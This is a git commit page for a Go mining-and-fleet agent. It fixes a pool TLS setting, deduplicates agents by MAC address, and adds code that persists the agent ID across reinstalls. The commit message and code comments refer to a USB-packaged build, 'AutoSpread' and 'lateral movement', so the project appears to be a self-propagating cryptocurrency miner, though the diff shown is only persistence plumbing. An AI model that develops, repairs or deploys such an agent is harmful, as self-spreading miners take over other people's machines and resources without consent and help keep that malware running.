fix(mining+fleet): two critical bugs - 1) PoolTLS was true on port 3333 (non-TLS port) causing direct Stratum to always fail = no hashing. Fixed to false. 2) Duplicate agent entries: server now deduplicates by MAC address on auth. Agent now persists server-confirmed ID back to agent.id so reinstalls reconnect as same agent. USB repacked.
This commit is contained in:
@@ -288,6 +288,10 @@ func (c *AgentClient) authenticate() error {
|
||||
}
|
||||
c.agentID = resp.AgentID
|
||||
log.Printf("[agent] authenticated as %s", c.agentID)
|
||||
// Persist the server-confirmed ID so restarts always reconnect as the same agent.
|
||||
if installDir, err := c.cfg.InstallDirectory(); err == nil {
|
||||
_ = deploy.PersistAgentID(installDir, c.agentID)
|
||||
}
|
||||
|
||||
// Gate AutoSpread behind successful server auth: only spread on fleets where
|
||||
// our fleet secret was accepted, preventing lateral movement on non-owned networks.
|
||||
|
||||
Reference in New Issue
Block a user